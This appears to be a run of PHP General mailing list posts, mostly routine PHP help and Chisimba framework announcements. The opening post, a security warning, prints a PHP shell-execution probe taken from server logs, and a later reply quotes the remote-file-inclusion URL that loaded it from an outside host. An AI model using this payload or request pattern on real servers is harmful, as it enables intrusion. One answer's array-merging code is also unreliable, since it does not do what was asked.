I am taking a quick look through the access logs on our dev box, and came across this little nasty that was trying to execute itself as a XSS attack(?) "; echo "SysOSx:$ker"; echo "SysOSx:$osx"; if ($osx == "WINNT") { $xeQt="ipconfig -a"; } else { $xeQt="id"; } $hitemup=ex($xeQt); echo $hitemup; function ex($cfe) { $res = ''; if (!empty($cfe)) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ""; while([EMAIL PROTECTED]($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } ?> So far, it is coming from http://www.vesprokat.ru/n and http://www.goodasgold.com Be aware and check that your files are not vulnerable, although they are only going to get your users and groups info, as well as OS, you should all look out for this. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] error messages
On Fri, 2007-10-05 at 00:32 -0700, tbt wrote: > I added the following lines to the top of my script but still no error > messages show up on the browser. > When a php error occurs the entire page is still shown blank. > Is your script *supposed* to output something? --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] evil script in server logs (Heads Up)
On Fri, 2007-10-05 at 07:38 -0600, Ashley M. Kirchner wrote: > Quarantine Messages: > Message quarantined because of virus: PHP.Shell. > > Someone saw it somewhere and reported it... Don't you love Free Software? ;) --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] evil script in server logs (Heads Up)
On Fri, 2007-10-05 at 11:29 -0400, Daniel Brown wrote: > Yeah, honestly I wasn't sure if it was an injection attack or if > those URLs were referrers in the logs. OK sorry if I wasn't 100% clear here, but the logs showed up something like: http://fsiu.uwc.ac.za/index.php?module=http://www.goodasgold.com/nav So basically it was an XSS attempt, but because our MVC security is decent, it is just more of an annoyance than anything else (it screws up my stats man!) What I was trying to say is that *if* you didn't know about this one before, now you do. They are hitting all of our sites at a rate of knots, so are probably doing the same elsewhere. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Please recommend blog script
On Sun, 2007-10-07 at 09:35 +0200, Niels wrote: > Basically I want to integrate articles into existing pages, something like > > > What you want is a blog that exposes it's functionality as an API (MetaWebLog or ATOM). Most do that, including the Chisimba one (see http://fsiu.uwc.ac.za as an example. Download at http://avoir.uwc.ac.za) --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] combining 2 arrays
On Tue, 2007-10-16 at 16:42 +0200, Ladislav Andel wrote: > arrayDB1 = array(array('8', 'SER'), array('5','Asterisk')) > > When finished then it starts reading from second DB > where I would get > > arrayDB2 = array(array('6', 'XIP'), array('4','Asterisk')) > > > Is there any function where I would get > result = array(array('8', 'SER'), array('9','Asterisk'), array('6','XIP')) > You could try something like: $result[] = $arrayDB1; $result[] .= $arrayDB2; If I understand the question correctly. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Ant in php
On Thu, 2007-10-25 at 02:25 -0700, DCVer wrote: > is this a good idea to use Ant with PHP or is there some similar tool to > Ant, that works fine with PHP? Thanks in advance. What you really want to look at is Phing, not Ant. It is very similar and I use it extensively for my project(s). --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Maximum function nesting level of '100' reached
On Fri, 2007-10-26 at 12:52 +0200, Jochem Maas wrote: > since when is there an arbitrary maximum recursion limit??? Since forever... ;) I thought that it was at 60 though... --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Strange warning: preg_match compilation warning
Does anyone have any idea as to why the following line is generating a warning? } else if (preg_match('/^([0-9]{4})-([0-9]{4})? (AVOIR \)$/', $content) === 0) { The warning text is as follows: Warning: preg_match(): Compilation failed: missing ) at offset 34 in ... Offset 34 seems to be the opening parenthesis of the preg_match function call...(??) Any help would be appreciated, googling simply brings up a load of busted websites... --Paul -- Please avoid sending me Word or PowerPoint attachments. See http://www.gnu.org/philosophy/no-word-attachments.html All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Strange warning: preg_match compilation warning
On Mon, 2007-11-05 at 12:08 -0500, Daniel Brown wrote: > You canceled-out the final closing param with a backslash here: > (AVOIR \) > Oh geez, thanks! How embarrassing... I suppose that's what you get for coding on long haul flights... Thanks! --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Can I make a process run in background?
On Mon, 2007-11-05 at 19:20 +0100, Luca Paolella wrote: > I want the bot to run a process in background (a periodic message, > for example) while listening for events (like a user joining a > channel or using a certain command) and consequentially executing the > corresponding functions, is it possible? and how? > You could try this archaic code I wrote a few years back: http://www.phpclasses.org/browse/package/2837.html or search for PHP Daemon and get some ideas there. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP 5.1 memory leak?
On Wed, 2007-11-07 at 15:21 -0200, Egon Hilgenstieler wrote: > I have a really complex report which uses a tree-like structure of data > base objects. Usually it consumes a lot of memory but that it is not > really an issue because it is an intranet application with few users and > a dedicated server for it. The problem is that the memory allocated by > the script is never free'd! > The most probable cause of this is cyclic references, which in 5.1 are not cleaned up very efficiently. Take a look through your code for them, or upgrade to 5.2 or 5.3 when released, which has a very cool patch to do just this. --Paul -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Segfault strangeness
All of a sudden, I am getting a bunch of segfaults in PHP. The Apache2 error log simply says: [Wed Nov 14 11:43:36 2007] [notice] child pid 10982 exit signal Segmentation fault (11) and if I run the script through PHP-CLI it outputs the expected HTML, but with a Segmentation Fault notice at the bottom of the output. gdb is not too much help either: Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -1215904080 (LWP 15747)] 0xb6978310 in ?? () I am not aware of any updates or anything that *may* possibly have broken things, but am open to suggestions PHP: PHP 5.2.3-1ubuntu6 (cli) (built: Oct 4 2007 23:35:54) Copyright (c) 1997-2007 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies with Suhosin v0.9.20, Copyright (c) 2002-2006, by Hardened-PHP Project OS: Linux paul-laptop 2.6.22-14-generic #1 SMP Sun Oct 14 23:05:12 GMT 2007 i686 GNU/Linux (Ubuntu 7.10 - Gutsy Gibbon) Thanks for any input that anyone may have as this one is stumping me at the moment. The only possibility that I can even remotely think of is that Ubuntu started bundling AppArmour and that is playing a role. --Paul -- Please avoid sending me Word or PowerPoint attachments. See http://www.gnu.org/philosophy/no-word-attachments.html All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Segfault strangeness
On Wed, 2007-11-14 at 13:32 +0100, Per Jessen wrote: > Backtrace? > backtrace #0 0xb691f310 in ?? () #1 0xb7874705 in CRYPTO_lock () from /usr/lib/i686/cmov/libcrypto.so.0.9.8 #2 0xb78e057d in ?? () from /usr/lib/i686/cmov/libcrypto.so.0.9.8 #3 0x0009 in ?? () #4 0x0001 in ?? () #5 0xb795a27b in ?? () from /usr/lib/i686/cmov/libcrypto.so.0.9.8 #6 0x0161 in ?? () #7 0xb796a978 in ?? () from /usr/lib/i686/cmov/libcrypto.so.0.9.8 #8 0x085e6388 in ?? () #9 0xbfd93058 in ?? () #10 0xb78e1daa in ERR_free_strings () from /usr/lib/i686/cmov/libcrypto.so.0.9.8 Backtrace stopped: frame did not save the PC > > I am not aware of any updates or anything that *may* possibly have > > broken things, but am open to suggestions > > So, absolutely nothing has changed on this system? > Well, I can't be sure, as this is just on my laptop that I use for dev... > You've changed the system completely? > Not completely, just following regular Ubuntu updates. I have disabled all sites (a2dissite) and stopped appArmour as well, with no change to the issue. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Segfault strangeness
On Wed, 2007-11-14 at 14:17 +0100, Per Jessen wrote: > OK, so quite a few things could have changed - in PHP or in apache. > However, you said you reproduced the problem using CLI, so we're > talking PHP or something underlying. It looks as though libcrypto has gotten itself into a knot. I did a rollback on that and it seems to have fixed the problem. Very strange and very annoying Thanks for the help! --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] [NEWBIE GUIDE] For the benefit of new members
On Thu, 2007-11-15 at 16:45 -0500, Daniel Brown wrote: > > 3. There is a searchable archive of the mailing list discussion at > > http://phparch.com/mailinglists. or at http://fsiu.uwc.ac.za/index.php?module=blog&action=randblog&userid=9914070612 if the above is down, as it is for me right now. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP RFC # 0001 --- List Etiquette [SOLVED]
On Thu, 2007-11-29 at 09:24 +0800, Crayon Shin Chan wrote: > > This has been the expected behavior (adding [SOLVED]) for a long time > > though it does not occur as often as it should. It has been in the > > NEWBIE GUIDE for a long time and has been a de-facto standard on IT or > > computer related mailing lists like this for years. > This is OK, as long as you don't go breaking threads or starting a new thread for something like "Thanks!" I think that the spirit of the post is not around the use of [SOLVED] or not, but around archive integrity and searchability, especially on the known long tedious dead-horse-whipping threads like "Best IDE" et al. > It has been the de-facto standard for mail clients to prefix quoted lines > with ">". Please fix your mail client or use a better one! > This bring up another point. Clients like Novell Group(un)Wise (which we use at our institution (I don't because its evil), and many many others don't do a bunch of things that mail clients should, by law, have to do. Some M$ variants of clients don't even do threading at all! (Does gMail?) This IMHO is tantamount to spamming, as it destroys archival integrity and raises my blood pressure. I think that anyone that participates in any list should invest the 20 minutes it may take to download and install a decent mail client (there are plenty of excellent Free (as in Freedom) ones out there - just ask if you need help). For our own project mailing list(s), I have come up with similar rules - and working and living in a bandwidth starved country/continent, these rules have to be enforced quite strictly. The basic rule set can be found here: http://avoir.uwc.ac.za/avoir/index.php?module=wiki&action=wikilink&pagename=MailingListRules Obviously not all of them can be enforced strictly (like the disclaimer one) as some institutions (mine included) add huge HTML disclaimers to all mail on its way out. There are a few things that can be done to make lists more pleasant for everyone. I suggest we try and put a few in place so as to: 1. Primarily save bandwidth 2. Save time 3. Get more useful archives 4. Be able to say "STFW" with conviction, because we *know* its there! --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Structured Code vs. Performance
On Thu, 2007-11-29 at 13:51 +0100, Jochem Maas wrote: > okay, but I was just paraphrasing the man Rasmus, although I admit I > may > have misinterpreted (or misundersstood the 'why') - thought I pretty > sure > he has written on a number of occasions that code like the following > sucks > for op-code caches and should be avoided: > > if (foo()) { > class Foo { } > } > As I have always understood it, the heavyness only really comes in when there are conditional includes or requires if (foo()) { require_once('foo_class_inc.php'); } else { // ... } --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Software Help
On Mon, 2007-12-03 at 14:55 -0500, Mike Roberts wrote: > My name is Mike Roberts, and I am a recruiter with Corporate Staffing > Services in Bala Cynwyd, Pennsylvania. I need help finding qualified > candidates who have experience with PHP ( whole lamp environment). Out > of respect, I am not including the job spec, but if anybody has a > reccomendation, I would appreciate it. Also if you would like to see the > specification, please let me know and I will happy to email it directly > to you. I seem to remember a thread about stinky job ads a while back, and I would like to point out to all of the subscribed recruiters that this is an example of a less stinky one. Note: 1. No HTML to waste my precious bandwidth on 2. No lengthy job spec - just an invitation to one OFF LIST! 3. Courteous and to the point as well as respectful to those not interested 4. Slightly flamboyant signature still (shouldn't be more than 4 lines Mike), but that is forgiven Thank you, and if I ever move to PA or the USA, I will look you up because of this. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Professional inquiry for you freelancers
On Wed, 2007-12-05 at 23:33 -0500, Steve Finkelstein wrote: > Basically what I'm asking is, am I going to be end up being a jack of > all trades, master of none, if I continue pursuing design AND > development? Is there plenty of work out there for folks who just > stick to development? > It all depends on your situation, your environment, your interests and your goals. I have, so far been able to make a decent living from purely back end work, except in my student days when I did it all for extra cash. I have, however, started messing around with CSS, GIMP, Inkscape and such for my own personal projects, and it all seems pretty easy to do. The problem of course, being that I am a code artist, not a graphic artist, and my HID skills need some tweaking. What I would suggest you do, is to read up on Human Interface Design and usability rather than graphic design. Find out all about accessibility etc, and then start. As I say, the tools are easy to master, but the magic isn't. If you are not interested in that, stick to PHP code. It is far less finicky and will treat you way better IMHO. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Profiling PHP App
On Thu, 2007-12-20 at 11:21 +0700, php mail wrote: > Is there any tool to profiling PHP app ? Yes, there are a few. The best that I have found anyway, is Xdebug 2 (http://pecl.php.net/xdebug). It can also integrate nicely with PHPUnit as well to do code coverage as well as make your life generally more enjoyable. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Chisimba Release
The next release of the Chisimba PHP5 framework is now available. Major enhancements included in this release are: - Better APC support - Improved database performance - Bug fixes - Better code documentation - XML-RPC API for Video conversions module - XML-RPC API for the Active Dynamic Mirroring module - Context improvements and bug fixes and, of course, new modules to add onto your installation! Please take a look, download it and give it a test drive! Chisimba, for those that don't know it already, is a PHP5 framework made in Africa, for Africa. It is a collaboration between around 16 African Universities, as well as around 35 active developers from around the continent. It can be downloaded from AVOIR at: http://cvs2.uwc.ac.za/chisimba_releases/chisimba_framework_1-1-3.zip http://cvs2.uwc.ac.za/chisimba_releases/chisimba_modules_1-1-3.zip and the doc wiki can be found at: http://avoir.uwc.ac.za/avoir/index.php?module=wiki There are server setup instructions, as well as installation walkthroughs available linking from the main AVOIR site: http://avoir.uwc.ac.za/avoir/index.php?module=cms&action=page&id=gen12Srv48Nme23_207 For those interested in developing a module, or just getting some additional info please take a look at: http://avoir.uwc.ac.za/avoir/index.php?module=cms&action=page&id=gen12Srv48Nme23_208 -- . | Chisimba PHP5 Framework - http://avoir.uwc.ac.za | :: All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] XAdES in PHP
On Mon, 2008-01-14 at 10:59 -0600, Richard Lynch wrote: > After a quick Google to find out what the Hades is XAdES, I'd suggest > you look for a C implementation and link it in as an extension. There are a couple of implementations of XMLDSIG in PHP that I have seen, although none really up to scratch IMO. You could try one of those (I think there is a pretty decent Python implementation as a starting point) and fix it up and extend that. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Match anything between two " that is not a " except if it is escaped...
On Fri, 2008-01-18 at 12:28 +0200, Nikolay Ananiev wrote: > This is for double quotes: > '/"[^"]*(?:.[^"]*)*"/' > > this is for single: > '/\'[^\']*(?:.[^\']*)*\'/' > > i took these from the smarty compiler class. Has anyone started a commonly used PCRE Regexp library? It could be a simple wiki page or something (we had one on our old site that was getting quite large - but that is now gone - sigh) Anyway, is anyone up for that? These things come up pretty often, and having a library of common ones would save us all a lot of effort in these types of threads. Something like: Purpose: regex : Author : Thoughts? We could use http://fsiu.uwc.ac.za/index.php?module=wiki&action=view_page&name=RegularExpressionMethods for it. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Posting Summary for Week Ending 18 January, 2008: php-general@lists.php.net
On Sun, 2008-01-20 at 10:04 -0500, Daniel Brown wrote: > That would actually be pretty interesting. Since we've all been > known to beat a thread to death, it certainly wouldn't be difficult to > collect the data. FWIW, I would like to continue to see these postings, as mailing list metrics are quite interesting. I have been watching this thread with quite a bit of interest, as I would like to do something similar with the mailing lists for my project(s). Those projects answer to funders, and one of the metrics that our funders would like to see, is mailing list stats. If you do a quick google for mailman stat packages, you will see that they are sorely lacking, so, even though this particular list is not run on mailman, Dan's script could be the start of a *really* useful project for me and others. Only thing is that Dan has not posted a link to the source, nor has he signified that he will. I have also seen a bunch of requests for graphs and such, which I would be willing to add on in some time. Bottom line is, I find this really interesting and useful, and would like to use it elsewhere too. THANKS DAN! You are at least in the top ten coolest guys in the world --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Digital Downloads and Scale
On Mon, 2008-01-21 at 02:43 +0100, Jochem Maas wrote: > use simple code, optimize your db and go and read up on everything you can > find > about optimizing [download] connections on your webserver ... these spring to > mind > In addition to optimizing code and db (I presume that includes using things like memcacheD, APC and a clustered db system), you should also take a look at using something like LVS and lighthttpd to serve your static content. If your webserver is getting busy fulfilling requests to a download file, simply pass the download bit to a static server running a lightweight httpd and nothing else. Files are completely static, so this is really quite a cool solution for this type of situation. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] performance/load testing ...
On Mon, 2008-01-21 at 10:50 +0100, Jochem Maas wrote: > Does anyone have any tips, urls, advice as to how to start > going about creating something like a 'test suite' for testing > high load performance of a website? > I went through a similar headache recently, and looked at a whole whack of testing suites that are available. You can take a look at http://www.opensourcetesting.org/performance.php first, but I ended up using Apache JMeter most. It really is quite configurable and usable and gives you a lot of information. --Paul -- . | Chisimba PHP5 Framework - http://avoir.uwc.ac.za | :: All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Posting Summary for Week Ending 25 January, 2008: php-general@lists.php.net
On Thu, 2008-01-24 at 01:13 +0100, Jochem Maas wrote: > stats while I'm at it ... I've been busy wracking my brain trying to > figure out > the setup for a load-balanced configuration for one of my major > clients ... at least > a system capable of migrating to loadbalancing ... global file system, > virtual machines, > all that jazz. I'm in over my head as usual. Have you taken a look at LVS yet? I presume that you are not attempting this on a Windows cluster - right? http://www.linuxvirtualserver.org/ I just had to do the same thing for my University systems - come up with an architecture at least. If you would like the dox, let me know - they are all CC licensed. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Getting part of string matched with regular expressions
On Mon, 2008-01-28 at 14:28 +0900, Teck wrote: > I was using preg_replace for this, and try to delete (i.e., replace > the non-matched part with an empty string) the second part, but I > can't make it work. Rather use preg_match_all() as that will produce an array of values, with the first value being the original that you can then compare with. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Getting nuequiz pro wo to work in php5
On Mon, 2008-01-28 at 11:49 -0500, Nathan Nobbe wrote: > ive always thought about trying moodle for this purpose. Not to rag Moodle or anything, but trying to customize that thing is a nightmare. Besides, if you are willing to try out Chisimba, you can always ask me :) There is a test install at http://pear.uwc.ac.za/elearn/ that you can play around with. The admin username and password are available too (just mail me) if you want to take an in depth look. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Posting Summary for Week Ending 25 January, 2008: php-general@lists.php.net
On Mon, 2008-01-28 at 16:43 +0100, Zoltán Németh wrote: > where is the stats for last week? the experiment is over or what? ;) > Jochem already did it for this week, so I think Dan is taking the week off. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] how dod you get to do multiple mysql queries concurrently?
On Mon, 2008-01-28 at 12:29 -0600, Richard Lynch wrote: > >>Back on the mysql side of things, try using geometry columns rather > >>than numerical primary keys, with spatial indexes.. it's a MASSIVE > >>performance upgrade (I've cut 5 second queries down to 0.005 by using > >>geo columns) > > > > Uh, could you could elaborate a bit on that (whilst I go and do some > > googling)? > > If you are doing geography/geometry stuff, spatial indices can be nice. > > I suspect that massive performance upgrade just came from having what > is essentially a multi-field index, because MySQL can only use *ONE* > index per query. Yeah, for sure! You will need to use GEOS to index those rows. Also, if your database is getting large, consider switching to PostGIS on Postgres, as opposed to MySQL. The MySQL spatial extension is still quite new and immature compared to PostGIS. I routinely create and manage databases of over 10 million rows of spatial data on PostGIS, and have never needed to look further. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Getting nuequiz pro wo to work in php5
On Mon, 2008-01-28 at 08:35 -0800, Jim Lucas wrote: > Well, since this quiz app doesn't work. Does anybody have suggestions > on a good tool to use for in-house/office training? Sort of like an > employee initial training or evaluation quiz application. Guess it > doesn't have to be just for employment purposes, but something that > works with PHP5. Well, you could always help test and evaluate the Chisimba e-learning stuff, due for release at end of March. The quiz stuff I think is complete, and should be usable now. http://avoir.uwc.ac.za/ and go to the Chisimba section. Oh, hang on, you will need an anonymous CVS checkout to actually use the v2 stuff now. sigh, will be released as a RC next week. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] how to display photos of the day?
On Tue, 2008-01-29 at 18:33 +0800, jeffry s wrote: > i have a mysql table contain data about 1000 rows. i want to display any of > the photos randomly > and it is fixed for one day. > MySQL has a rand() function, so you could bomb that off as a select once a day on cron or something, or you could do a regular select and array_rand() it in PHP. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] How can I do this -- method chaining
On Tue, 2008-01-29 at 14:17 -0500, Eric Butera wrote: > http://www.travisswicegood.com/index.php/2007/10/26/fluent_api_here_i_come > Looks like a repurpose of one of my posts: http://fsiu.uwc.ac.za/index.php?module=blog&action=viewsingle&postid=gen9Srv59Nme5_7092_1182404204 --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] how dod you get to do multiple mysql queries concurrently?
On Fri, 2008-02-01 at 03:40 +0100, Jochem Maas wrote: > I for one would really like to see a concrete example of this kind of > use of geometry columns and spacial indexes as an alternative to the stand > integer based primary keys. On one of my local postGIS tables: CREATE INDEX k1 ON kanagawa USING gist (the_geom); A gist index is a GEOS based spatial index. You will need GEOS to create one. When loading spatial data, your geometry column looks like so: 01050001000102000C0011ECE564CF7561404A8999CCDABC4140E5C0981ACE75614012901CD641BD4140603C8386BE756140E525611B40BD41405BF216D3BD756140151DC9E53FBD414054DC1A4DBD756140760B997A3FBD414012219BD1BC756140D20823E33EBD41407AB2884EBC7561400F2110243EBD41404571B4D0BB756140CC0C6A213DBD4140F707192ABB7561405DF2A1803CBD4140F0F11CA4BA756140C3D1B7413CBD4140E89CB2ADB97561406F046D233CBD414017D4B7CCA97561406D47AD7F39BD4140 Which is WKB (Well Known Binary) data or WKT (Well Known Text) data. The gist index simply indexes this as opposed to the regular gid (which you still use btree indexes on anyways) --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Release candidate: Chisimba-2.0.0RC1
The next major release of the Chisimba PHP5 framework is now available. Major enhancements included in this release are: - Remote downloads of modules through web interface - Upgrades of modules via package server in modulecatalogue - Skin downloads via remote package server - Updates to modules and core framework now taken care of via remote - Better use of caching mechanisms (fixed a lengthy file compile for APC in engine class) - Major bugfixes to the e-Learning modules and context - Major improvements on usability for context - Additional skins to play around with and, of course, new modules to add onto your installation! Please take a look, download it and give it a test drive! Chisimba, for those that don't know it already, is a PHP5 framework made in Africa, for Africa. It is a collaboration between around 16 African Universities, as well as around 35 active developers from around the continent. It can be downloaded from AVOIR at: http://cvs2.uwc.ac.za/chisimba_releases/chisimba_framework_2-0-0-rc1.tgz or http://cvs2.uwc.ac.za/chisimba_releases/chisimba_framework_2-0-0-rc1.zip and the documentation wiki can be found at: http://avoir.uwc.ac.za/avoir/index.php?module=wiki The Chisimba Book will be made available with Chisimba-2.0.0 (i.e. after the RC's have passed the test). There are server setup instructions, as well as installation walkthroughs available linking from the main AVOIR site: http://avoir.uwc.ac.za/avoir/index.php?module=cms&action=page&id=gen12Srv48Nme23_207 This is a major upgrade to previous Chisimba installations, so if you are already using Chisimba, please consider upgrading immediately! For those interested in developing a module, or just getting some additional info please take a look at: http://avoir.uwc.ac.za/avoir/index.php?module=cms&action=page&id=gen12Srv48Nme23_208 Please report any issues on the mailing list(s) or in our bug tracking system: http://mailman.uwc.ac.za/mailman/listinfo/nextgen-users http://avoir.uwc.ac.za/mantis/ -- . | Chisimba PHP5 Framework - http://avoir.uwc.ac.za | :: All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] how dod you get to do multiple mysql queries concurrently?
Did anyone actually get this mail? More concrete example? What would you like to see? I suspect that some of my mail is getting dropped :( --Paul On Fri, 2008-02-01 at 06:33 +0200, Paul Scott wrote: > On Fri, 2008-02-01 at 03:40 +0100, Jochem Maas wrote: > > > I for one would really like to see a concrete example of this kind of > > use of geometry columns and spacial indexes as an alternative to the stand > > integer based primary keys. > > > On one of my local postGIS tables: > > CREATE INDEX k1 > ON kanagawa > USING gist > (the_geom); > > > A gist index is a GEOS based spatial index. You will need GEOS to create > one. > > When loading spatial data, your geometry column looks like so: > > 01050001000102000C0011ECE564CF7561404A8999CCDABC4140E5C0981ACE75614012901CD641BD4140603C8386BE756140E525611B40BD41405BF216D3BD756140151DC9E53FBD414054DC1A4DBD756140760B997A3FBD414012219BD1BC756140D20823E33EBD41407AB2884EBC7561400F2110243EBD41404571B4D0BB756140CC0C6A213DBD4140F707192ABB7561405DF2A1803CBD4140F0F11CA4BA756140C3D1B7413CBD4140E89CB2ADB97561406F046D233CBD414017D4B7CCA97561406D47AD7F39BD4140 > > Which is WKB (Well Known Binary) data or WKT (Well Known Text) data. The > gist index simply indexes this as opposed to the regular gid (which you > still use btree indexes on anyways) > > --Paul > > All Email originating from UWC is covered by disclaimer > http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm > > -- > PHP General Mailing List (http://www.php.net/) > To 